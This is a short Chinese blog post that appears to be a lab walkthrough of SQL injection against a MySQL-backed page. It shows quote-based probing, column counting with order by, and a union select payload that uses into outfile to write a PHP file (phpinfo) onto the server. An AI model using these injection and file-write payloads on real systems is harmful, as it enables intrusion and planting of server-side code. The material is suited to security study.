2'报错

2"没报错
2" and "1"="2"--+
仍然有问题


判断成功，(('id'))这样的
继续

mysql数据库
提示需要outfile，利用union select 写进去,这个写入是需要绝对路径的
order by 3
确定了位数为3以后
id=1'))union select 1,2,"<?php phpinfo();?>" into outfile('c:/123.php')

本文作者：硝基苯
本文链接：https://www.c6sec.com/index.php/archives/92/
最后修改时间：2021-05-19 21:36:34
本站未注明转载的文章均为原创，并采用 CC BY-NC-SA 4.0 授权协议，转载请注明来源，谢谢！